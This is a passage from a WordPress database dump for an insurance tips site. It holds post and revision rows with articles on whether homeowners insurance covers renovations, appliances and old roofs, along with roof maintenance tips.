double-checking this with your insurer before work starts to be sure you are covered. What is also important to remember is completing work that adheres to safety standards is crucial. If renovating your plumbing or electrical, for example, following the right guidelines is necessary to reduce the risk of your property not being covered in the event of a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/home-insurance-during-renovations/#how-to-reduce-risk-during-renovations\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Renovations?','','inherit','closed','closed','','4104-revision-v1','','','2024-05-25 19:42:11','2024-05-25 19:42:11','',4104,'https://smartinsurance.tips/?p=4106',0,'revision','',0),(4107,1,'2024-05-25 19:44:59','2024-05-25 19:44:59','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4163,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-4163\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>The personal property portion of your insurance policy applies to the contents of your home, but whether home insurance covers your appliances will depend on the nature of the damage. While damage from covered losses like fires is typically included in a homeowners insurance policy, natural wear and tear or breakdowns, like a decade-old refrigerator malfunctioning, usually aren’t covered. For more robust financial protection for your home’s appliances, consider a home warranty or adding equipment breakdown coverage to your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners insurance policies provide financial protection for the physical structure of your home, as well as the personal belongings inside, including appliances. However, appliances are generally covered under the&nbsp;personal property portion&nbsp;of your insurance, and standard&nbsp;HO-3 policies&nbsp;only cover personal property on a&nbsp;named perils&nbsp;basis. This means that your insurance policy lists covered causes of damage that your personal property is financially protected against. These typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Fire, lightning or smoke:</strong>&nbsp;Your appliances are typically covered if damage results from&nbsp;lightning, volcanoes or fires. This includes damage from smoke, which can affect air circulation systems like forced air heating. Some policies in&nbsp;wildfire-prone regions&nbsp;may not cover damage from wildfires, so you’ll want to double-check your policy details.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Wind and hail:</strong>&nbsp;This includes damage from&nbsp;windstorms, hail and the weight of ice, snow or sleet. For example, if a section of your roof caves in after heavy snowfall and damages your washer and dryer, these appliances would likely be covered as long as the weight of ice and snow is a named peril in your policy. It’s important to note that flood damage is not included under standard HO-3 policies — separate&nbsp;flood insurance&nbsp;is required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Explosions:</strong>&nbsp;Appliance damage caused by explosions, whether they originate inside or outside of the home, is typically covered. This may include damage caused by aircraft or vehicles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Civil commotion, vandalism, malicious mischief or theft:</strong>&nbsp;Your appliances are likely to be financially protected from damages or losses caused by intentional harm or theft. For instance, if someone breaks into your home and damages your appliances while looking for valuables, your policy will usually cover this damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden steam or water discharge:</strong>&nbsp;Sudden and accidental water or steam discharge or malfunction of a steam or hot water heating system is normally covered by personal property coverage. However, gradual damage or neglect, such as a slow leak leading to mold, is excluded from standard policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Freezing:</strong>&nbsp;Your appliances are generally covered against damage from freezing conditions. This may include damage to your plumbing or air systems caused by a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden artificially generated electrical current:</strong>&nbsp;Unexpected electrical surges can harm your electronics. This peril is generally covered by personal property insurance, but if your home contains a considerable number of&nbsp;high-value electronics&nbsp;or other items, discuss this with your insurance agent to ensure adequate coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are some instances where your insurance will not cover appliances, and it’s a good idea to be aware of them before you’re faced with unexpected repair bills. If your personal property coverage has named perils, any source of damage not included on the list of named perils typically will not be covered. These might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Age-related breakdowns:</strong>&nbsp;Old appliance breakdowns aren’t covered by standard home insurance policies. If you’ve had an appliance for more than a few years and it stops working for a reason other than a named peril, you’re likely on your own for repairs or replacement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Lack of maintenance:</strong>&nbsp;Regular maintenance is crucial for appliance longevity. If your appliance damage is caused by lack of maintenance, your home insurance will not normally cover it. You may want to refer to your appliance owners manual to make sure you’re performing the recommended maintenance for each.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flooding:</strong>&nbsp;Standard HO-3 policies don’t provide coverage for flood-related damages. For flood coverage, you can explore policies from private insurers or the&nbsp;National Flood Insurance Program.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Earthquakes:</strong>&nbsp;A standard home insurance policy does not cover damage caused by earthquakes. However, if your appliances are damaged in a fire that occurred after an earthquake, that would likely be covered. Similar to flood insurance, homeowners in earthquake-prone regions can purchase&nbsp;earthquake insurance&nbsp;as an endorsement or standalone policy, depending on their location.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sewer backup:</strong>&nbsp;If your appliances are damaged by standing sewage that overflows from your home’s sewer line, you would likely not get help from your home insurance company for repairs unless you purchase a&nbsp;water backup endorsement.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Home insurance for appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance does not cover appliances in instances outside of what is specifically listed in your policy. As such, you may want to purchase a home warranty, an appliance warranty, equipment breakdown coverage or insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home warranty coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home warranty programs are&nbsp;not the same as home insurance. They typically cover specific systems and usually focus on routine breakdowns and malfunctions. This coverage is more like a service contract that covers your appliances and home systems (plumbing, electrical, HVAC) from damage caused by regular wear and tear and age. To note, you can have an HO-3 home insurance policy and a home warranty — the coverage types are different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;home warranty&nbsp;generally costs between $20 and $150 a month, and you are often able to pick and choose what you’d like covered. If you purchase a newly built home, you might have a home warranty from the builder. This is different from a home warranty policy, but the coverage may look similar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Appliance warranties</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home appliances can be expensive, but when you purchase a new appliance, you typically have the option to add a manufacturer warranty. This warranty may even be included for free for the first year of the machine’s life. Manufacturer warranties may provide peace of mind should your new appliance break down shortly after you buy it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Equipment breakdown coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurer may offer&nbsp;equipment breakdown coverage&nbsp;as an add-on option on your home insurance policy. This coverage pays for financial loss caused by appliance breakdown. Unlike standard personal property coverage, mechanical failure and breakdown are covered under this add-on. The specific home systems covered by this endorsement will vary by provider, and coverage limits usually range from $10,000 to $50,000. Not all carriers offer equipment breakdown coverage, but you can consult your insurance agent for more details if you’re interested in purchasing this&nbsp;endorsement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">ACV vs. RCV</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you purchase a home insurance policy, you may be given the option to cover your personal property at&nbsp;actual cash value (ACV) or replacement cost value (RCV). ACV provides coverage for the depreciated value of items, while RCV covers items based on what it would cost to replace them at today’s market value. Standard HO-3 policies cover personal property on an ACV basis but may give you the option to select RCV coverage.&nbsp;HO-5 policies&nbsp;are more robust and may already include RCV coverage for personal property. Some home insurance companies like USAA automatically insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want more substantial coverage for your appliances, you might choose RCV for personal property insurance to ensure you’re getting enough coverage to replace your items if they’re destroyed by a covered peril. This may be particularly relevant to homeowners with lots of old appliances who would need to pay a significant amount out of pocket to replace appliances at today’s value after an ACV payout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much home insurance coverage do I need for my appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most personal property coverage covers your home’s contents at 50 to 70 percent of your&nbsp;dwelling coverage. You may want to discuss adjusting your coverage limits with your insurance agent based on your belongings. Having too little personal property coverage could leave you with significant out-of-pocket expenses following a covered loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine how much personal contents coverage you need, you could start by&nbsp;conducting an inventory&nbsp;of all your household appliances, listing them along with their current values. This not only includes major appliances like refrigerators, washing machines and ovens but also other electronics and smaller appliances that might add up in value. Regularly updating this inventory, especially after major purchases, ensures you have an accurate estimate at any given time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have a clear idea of the total value of your appliances, compare it with the value of your other personal belongings and the personal property limit in your homeowners insurance policy. If the total value of your items exceeds this limit, you might want to consider increasing your coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.bankrate.com/insurance/homeowners-insurance/does-homeowners-insurance-cover-appliances/#how-much-home-insurance-coverage-do-i-need-for-my-appliances\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Appliances?','','publish','closed','closed','','does-homeowners-insurance-cover-appliances-2','','','2024-06-08 00:36:53','2024-06-08 00:36:53','',0,'https://smartinsurance.tips/?p=4107',0,'post','',0),(4108,1,'2024-05-25 19:43:27','2024-05-25 19:43:27','','Untitled-23','','inherit','closed','closed','','untitled-23-6','','','2024-05-25 19:43:27','2024-05-25 19:43:27','',4107,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-23.png',0,'attachment','image/png',0),(4109,1,'2024-05-25 19:44:59','2024-05-25 19:44:59','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4108,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-4108\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>The personal property portion of your insurance policy applies to the contents of your home, but whether home insurance covers your appliances will depend on the nature of the damage. While damage from covered losses like fires is typically included in a homeowners insurance policy, natural wear and tear or breakdowns, like a decade-old refrigerator malfunctioning, usually aren’t covered. For more robust financial protection for your home’s appliances, consider a home warranty or adding equipment breakdown coverage to your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners insurance policies provide financial protection for the physical structure of your home, as well as the personal belongings inside, including appliances. However, appliances are generally covered under the personal property portion of your insurance, and standard HO-3 policies only cover personal property on a named perils basis. This means that your insurance policy lists covered causes of damage that your personal property is financially protected against. These typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Fire, lightning or smoke:</strong> Your appliances are typically covered if damage results from lightning, volcanoes or fires. This includes damage from smoke, which can affect air circulation systems like forced air heating. Some policies in wildfire-prone regions may not cover damage from wildfires, so you’ll want to double-check your policy details.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Wind and hail:</strong> This includes damage from windstorms, hail and the weight of ice, snow or sleet. For example, if a section of your roof caves in after heavy snowfall and damages your washer and dryer, these appliances would likely be covered as long as the weight of ice and snow is a named peril in your policy. It’s important to note that flood damage is not included under standard HO-3 policies — separate flood insurance is required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Explosions:</strong>&nbsp;Appliance damage caused by explosions, whether they originate inside or outside of the home, is typically covered. This may include damage caused by aircraft or vehicles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Civil commotion, vandalism, malicious mischief or theft:</strong>&nbsp;Your appliances are likely to be financially protected from damages or losses caused by intentional harm or theft. For instance, if someone breaks into your home and damages your appliances while looking for valuables, your policy will usually cover this damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden steam or water discharge:</strong>&nbsp;Sudden and accidental water or steam discharge or malfunction of a steam or hot water heating system is normally covered by personal property coverage. However, gradual damage or neglect, such as a slow leak leading to mold, is excluded from standard policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Freezing:</strong>&nbsp;Your appliances are generally covered against damage from freezing conditions. This may include damage to your plumbing or air systems caused by a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden artificially generated electrical current:</strong> Unexpected electrical surges can harm your electronics. This peril is generally covered by personal property insurance, but if your home contains a considerable number of high-value electronics or other items, discuss this with your insurance agent to ensure adequate coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are some instances where your insurance will not cover appliances, and it’s a good idea to be aware of them before you’re faced with unexpected repair bills. If your personal property coverage has named perils, any source of damage not included on the list of named perils typically will not be covered. These might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Age-related breakdowns:</strong>&nbsp;Old appliance breakdowns aren’t covered by standard home insurance policies. If you’ve had an appliance for more than a few years and it stops working for a reason other than a named peril, you’re likely on your own for repairs or replacement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Lack of maintenance:</strong>&nbsp;Regular maintenance is crucial for appliance longevity. If your appliance damage is caused by lack of maintenance, your home insurance will not normally cover it. You may want to refer to your appliance owners manual to make sure you’re performing the recommended maintenance for each.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flooding:</strong> Standard HO-3 policies don’t provide coverage for flood-related damages. For flood coverage, you can explore policies from private insurers or the National Flood Insurance Program.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Earthquakes:</strong> A standard home insurance policy does not cover damage caused by earthquakes. However, if your appliances are damaged in a fire that occurred after an earthquake, that would likely be covered. Similar to flood insurance, homeowners in earthquake-prone regions can purchase earthquake insurance as an endorsement or standalone policy, depending on their location.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sewer backup:</strong> If your appliances are damaged by standing sewage that overflows from your home’s sewer line, you would likely not get help from your home insurance company for repairs unless you purchase a water backup endorsement.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Home insurance for appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance does not cover appliances in instances outside of what is specifically listed in your policy. As such, you may want to purchase a home warranty, an appliance warranty, equipment breakdown coverage or insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home warranty coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home warranty programs are not the same as home insurance. They typically cover specific systems and usually focus on routine breakdowns and malfunctions. This coverage is more like a service contract that covers your appliances and home systems (plumbing, electrical, HVAC) from damage caused by regular wear and tear and age. To note, you can have an HO-3 home insurance policy and a home warranty — the coverage types are different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home warranty generally costs between $20 and $150 a month, and you are often able to pick and choose what you’d like covered. If you purchase a newly built home, you might have a home warranty from the builder. This is different from a home warranty policy, but the coverage may look similar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Appliance warranties</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home appliances can be expensive, but when you purchase a new appliance, you typically have the option to add a manufacturer warranty. This warranty may even be included for free for the first year of the machine’s life. Manufacturer warranties may provide peace of mind should your new appliance break down shortly after you buy it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Equipment breakdown coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurer may offer equipment breakdown coverage as an add-on option on your home insurance policy. This coverage pays for financial loss caused by appliance breakdown. Unlike standard personal property coverage, mechanical failure and breakdown are covered under this add-on. The specific home systems covered by this endorsement will vary by provider, and coverage limits usually range from $10,000 to $50,000. Not all carriers offer equipment breakdown coverage, but you can consult your insurance agent for more details if you’re interested in purchasing this endorsement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">ACV vs. RCV</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you purchase a home insurance policy, you may be given the option to cover your personal property at actual cash value (ACV) or replacement cost value (RCV). ACV provides coverage for the depreciated value of items, while RCV covers items based on what it would cost to replace them at today’s market value. Standard HO-3 policies cover personal property on an ACV basis but may give you the option to select RCV coverage. HO-5 policies are more robust and may already include RCV coverage for personal property. Some home insurance companies like USAA automatically insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want more substantial coverage for your appliances, you might choose RCV for personal property insurance to ensure you’re getting enough coverage to replace your items if they’re destroyed by a covered peril. This may be particularly relevant to homeowners with lots of old appliances who would need to pay a significant amount out of pocket to replace appliances at today’s value after an ACV payout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much home insurance coverage do I need for my appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most personal property coverage covers your home’s contents at 50 to 70 percent of your dwelling coverage. You may want to discuss adjusting your coverage limits with your insurance agent based on your belongings. Having too little personal property coverage could leave you with significant out-of-pocket expenses following a covered loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine how much personal contents coverage you need, you could start by conducting an inventory of all your household appliances, listing them along with their current values. This not only includes major appliances like refrigerators, washing machines and ovens but also other electronics and smaller appliances that might add up in value. Regularly updating this inventory, especially after major purchases, ensures you have an accurate estimate at any given time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have a clear idea of the total value of your appliances, compare it with the value of your other personal belongings and the personal property limit in your homeowners insurance policy. If the total value of your items exceeds this limit, you might want to consider increasing your coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/does-homeowners-insurance-cover-appliances/#how-much-home-insurance-coverage-do-i-need-for-my-appliances\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Appliances?','','inherit','closed','closed','','4107-revision-v1','','','2024-05-25 19:44:59','2024-05-25 19:44:59','',4107,'https://smartinsurance.tips/?p=4109',0,'revision','',0),(4110,1,'2024-05-25 19:48:06','2024-05-25 19:48:06','<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4165,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-25-1024x1024.png\" alt=\"\" class=\"wp-image-4165\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Roofs are necessary for any building but often go unnoticed until the first rainy day. The lifespan of a roof is typically 20-30 years. Unlike wine, it doesn’t improve with age. A roof is often the most expensive and overlooked part of a home. In many cases, it isn’t until there is a major issue with the roof that homeowners start to appreciate its importance. Explore how homeowners insurance with an old roof works</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-does-homeowners-insurance-treat-older-roofs\">How does homeowners insurance treat older roofs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>An old roof can be a big risk and make it difficult to get home insurance. It’s fairly common for home insurance companies to require older roofs to pass inspection before granting a policy. The payout of roof-related claims can depend on the cause of the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Acts of God,” such as severe weather events, will probably be covered as long as the roof was properly looked after beforehand. Leaks or water damage caused by a 20-year-old roof that was not maintained adequately are unlikely to be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have an old roof and are looking for a homeowners insurance policy or a renewal, you can ensure you’re covered by being proactive. It’s important to keep detailed roof repairs and maintenance records, including photos. If you file a roof claim, you will have the evidence to back up the issue to compensate you for your damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Common signs of roof damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your roof plays a crucial role in safeguarding your home from the elements, but it can suffer wear and tear over time, leading to damage. As a homeowner, it’s essential to be vigilant and identify potential roof problems early on to prevent more extensive and costly issues. Here are some common signs of roof damage that you should be on the lookout for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Curling or missing shingles</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most apparent signs of roof damage is when shingles start to curl or become dislodged. Curling shingles can occur due to age, prolonged exposure to sunlight, or improper installation. Missing shingles leave your roof vulnerable to water penetration and may be caused by strong winds or severe weather events. If you notice any curling or missing shingles, it’s time to take action.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Water stains on ceilings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Water stains on your ceilings or walls can be a telltale of a roof leak. When water finds its way through damaged roof areas, it can seep into your home, leaving visible stains. Don’t ignore water stains, which can indicate more significant problems with your roof’s integrity. Addressing leaks promptly can prevent water damage to your interior and potential mold growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Visible mold or mildew</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold and mildew thrive in moist environments, making your roof an ideal breeding ground if leaks or poor ventilation exist. If you notice dark spots or patches of mold on your roof or the exterior walls, it’s essential to address the issue promptly. Mold growth can compromise the structural integrity of your roof and pose health risks to your household.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A roof that appears to sag or dip in certain areas signifies significant structural damage. Sagging can occur due to excessive weight on the roof, water accumulation, or weakened support structures. It’s crucial to have a professional roofing contractor inspect and address this issue promptly to prevent further damage and potential collapses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Granule loss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asphalt shingles often have granules that protect the roof from UV rays and provide fire resistance. If you notice excessive granules in your gutters or downspouts, it may indicate that your shingles are wearing down and nearing the end of their lifespan. Granule loss can lead to reduced protection and premature aging of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Damaged flashing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Flashing is the metal or rubber material installed around chimneys, vents, and skylights to create a water-resistant barrier. If flashing becomes damaged or deteriorates over time, it can compromise your roof’s ability to keep water out. Regularly inspect your flashing for signs of wear or damage and have it repaired or replaced as needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Cracked or peeling paint on roof components</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Painted roof components, such as fascia boards and soffits, can provide valuable clues about your roof’s condition. Cracks or peeling paint may indicate water damage or excessive moisture, suggesting that your roof may have issues that require attention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-problems-with-old-roofs\">Problems with old roofs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The roof of a house is the most important part; it protects the home’s inhabitants from the elements, prevents water damage, and keeps the building healthy. As a homeowner, you should be aware of the following issues before you reach out to a roofing contractor:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Leaks</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cracked roof shingles are probably the most common cause of water penetration. The weather is also a factor, with windstorms, rain, or snow quickly penetrating a house with cracked or missing roof shingles.&nbsp;Long-term leaks&nbsp;could also lead to mold, so it can be important to think about it now and get a repair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your ceiling looks like it’s caving in, that’s not a good sign. While the roof itself may not fall on you, the interior of your home may have more severe issues within its structure that need to be dealt with quickly. You should call a roofing contractor now to inspect and fix whatever problems this could signify.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Moss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss is a big problem in colder climates that experience freeze/thaw cycles. As it clings onto shingle roofs, moss can chip or break them up. If you haven’t been actively monitoring your roof, this can create hard-to-fix problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The good news is there are ways to get rid of moss so your roof will be safe from breakage, and the moss won’t return for a few years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-roofing-maintenance-tips\">Roofing maintenance tips&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Maintaining your roof is essential for ensuring its longevity and protecting your home from potential damage. Regular maintenance can help identify and address small issues before they escalate into more significant problems. Here are some practical roofing maintenance tips that homeowners can follow to keep their roofs in optimal condition:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Regularly clean gutters and downspouts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Clogged gutters and downspouts can lead to water backup, causing water to overflow and seep under the roof’s edge. This can result in water damage to your roof, fascia, and even the interior of your home. To prevent this, clean your gutters and downspouts at least twice a year, ideally in the spring and fall. Remove leaves, debris, and other obstructions to ensure proper water flow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Trim overhanging branches</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trees with branches over your roof pose a potential risk, especially during storms or high winds. Falling branches can damage shingles, create punctures, or even break through the roof surface. Regularly trim back branches that come too close to your roof to reduce the risk of damage and keep your roof safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Conduct annual roof inspections</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Schedule a professional roof inspection at least once a year, preferably before the start of the rainy season. Roofing experts can identify minor issues developed over time and recommend necessary repairs. During the inspection, observe signs of damage, such as cracked or missing shingles, loose flashing, or deteriorated seals around vents and chimneys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Address roof repairs 